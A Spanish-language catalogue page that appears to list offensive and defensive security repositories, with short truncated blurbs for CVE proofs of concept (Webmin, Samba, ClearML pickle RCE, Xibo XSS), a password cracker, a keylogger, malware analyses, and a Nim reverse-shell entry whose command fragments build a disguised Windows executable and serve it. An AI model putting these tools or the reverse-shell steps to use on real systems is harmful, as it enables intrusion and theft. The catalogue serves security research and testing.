nginx-rift-detect

nginx-rift-detect Script de detección por comportamiento para CVE-2026-42945 NGINX Rift — un desbordamiento de búfer en el montón en ngxhttprewritemodule presente en nginx desde 2008. ⚠️ Descargo de responsabilidad Esta herramienta está destinada exclusivamente a pruebas de seguridad e...

exploit-react-CVE-2025-55182

FOX-RSC TOOL CVE-2025-55182 y CVE-2025-66478 AVISO LEGAL EN: Esta herramienta es una Prueba de Concepto PoC destinada únicamente a la investigación de seguridad y fines educativos. El uso de esta herramienta en sistemas sin permiso explícito es ilegal y punible por la ley. El autor Tiger-Foxx no...

CVE-2025-41088

CVE-2025-41088: XSS Almacenado en Xibo CMS He descubierto una vulnerabilidad de Cross-Site Scripting XSS almacenado en Xibo CMS v4.1.2. Esta vulnerabilidad permite a un atacante autenticado inyectar scripts maliciosos en la aplicación debido a una validación incorrecta de la entrada proporcionada...

trivy-plugin-attest

trivy-plugin-attest Publicar atestación de SBOM Instalación root@kitploit: $ trivy plugin install github.com/aquasecurity/trivy-plugin-attest Uso root@kitploit: A Trivy plugin that publish SBOM attestation Usage: attest flags Examples: trivy attest --type PREDICATETYPE --predicate PREDICATEPATH...

pickle_exploit

PickleExploit Demostración de una vulnerabilidad de ejecución remota de código mediante la serialización Pickle en ClearML 🖥️ Este script fue desarrollado por h3x0v3rl0rd. Esta prueba de concepto PoC demuestra una posible vulnerabilidad de seguridad relacionada con la serialización y...

smb-usermap

Samba "username map script" Ejecución de comandos Este módulo explota una vulnerabilidad de ejecución de comandos en las versiones de Samba 3.0.20 hasta 3.0.25rc3 cuando se utiliza la opción de configuración no predeterminada "username map script". Al especificar un nombre de usuario que contenga...

Webmin1.910_exploit

Webmin 1.910 Exploit de Ejecución Remota de Código Descripción: Este repositorio contiene un script de Python 3 diseñado para explotar una vulnerabilidad de ejecución remota de código en Webmin versión 1.910. El script utiliza el endpoint sessionlogin.cgi para realizar la autenticación y desplega...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

zte-blade-v40-vita-unlock

Desbloqueo del bootloader del ZTE Blade V40 Vita — P606F02 / Unisoc UMS9230 / UFS Notas y scripts para Linux para desbloquear con CVE-2022-38694. Hecho en mi EEAP606F02 con MyOS11.0.138045EEA. Dos cosas deciden si esto funciona y ninguna está documentada en ningún sitio: 1. Nunca mantengas pulsad...

samsung-q60t-exploit

Exploit de Tizen Descripción Script de exploit y descifrado de firmware presentado en Grehack 2021. Las diapositivas están disponibles dentro del directorio slides . y el video de la repetición enYoutube . Directorios Este repositorio contiene tres directorios: exploit/: contiene el exploit de v8...

autonmap

autonmap Uso este script para el escaneo Nmap de HTB:...

yealink_tools

Yealink firmware reverse engineering This repository contains some script utilities used during the reverse engineering of Yealink VOIP phones firmware. For more information about this research, please read the blogpost...

Radmin3-Password-Cracker

Radmin Server 3 Dumper/Cracker Para más contexto sobre esta herramienta, consulte https://www.synacktiv.com/publications/cracking-radmin-server-3-passwords.html ! Cómo usar : Paso 1 : Recupera la información de usuario de Radmin Server 3 de...

pridelocker-analysis

Análisis del cifrador ESX de PrideLocker Este repositorio contiene recursos relacionados con el análisis realizado sobre PrideLocker y disponible en esta entrada de blog: https://www.synacktiv.com/publications/pridelocker-a-new-fork-of-babuk-esx-encryptor.html. un script de IDA Python para ofusca...

lumina_server

Acerca de PoC de un servidor fuera de línea para la función Lumina de IDA. Más detalles en https://www.synacktiv.com/publications/investigating-ida-lumina-feature.html Instalación Instalación del paquete Python Descargue el proyecto y ejecute python lumina/setup.py o pip install .. El servidor...

laravel_cookie_killer

Laravel cookie killer Una herramienta utilizada para cifrar/descifrar cookies de Laravel basada en python3 Requisitos previos Para usar la herramienta, necesitas extraer el valor base64 de APPKEY contenido en el archivo .env que se encuentra en la raíz del proyecto Laravel. La sesión también debe...

keebcap

Keebcap Este repositorio contiene el código asociado a este artículo en el que hablamos sobre la creación de un keylogger win32 que admite todos los idiomas que no utilizan editores de métodos de entrada. Todas las pruebas se realizaron en Windows 10 22h2. árbol root@kitploit: . keylog code ├──...

mobileiron-exploit

Exploit de Tabshell con autenticación Kerberos Adaptado de la cadena de exploits OWASSRF + TabShell Primero, parchea el módulo pyprsp para habilitar la degradación de WSManStackVersion, e instala las dependencias root@kitploit: $ git clone https://github.com/jborean93/pypsrp $ patch -p0...

krustyloader-analysis

KrustyLoader Analysis This repository contains resources related to the analysis made on KrustyLoader and available on this blog post: https://www.synacktiv.com/publications/krustyloader-rust-malware-linked-to-ivanti-connectsecure-compromises. a Python script to extract and decrypt URL used by th...

Invoke-RunAsWithCert

Invoke-RunAsWithCert A PowerShell script to perform PKINIT authentication with the Windows API from a non domain-joined machine. Description This cmdlet creates a new logon session with the specified certificate via PKINIT. It is meant to be run on a non domain-joined VM. The cmdlet has two modes...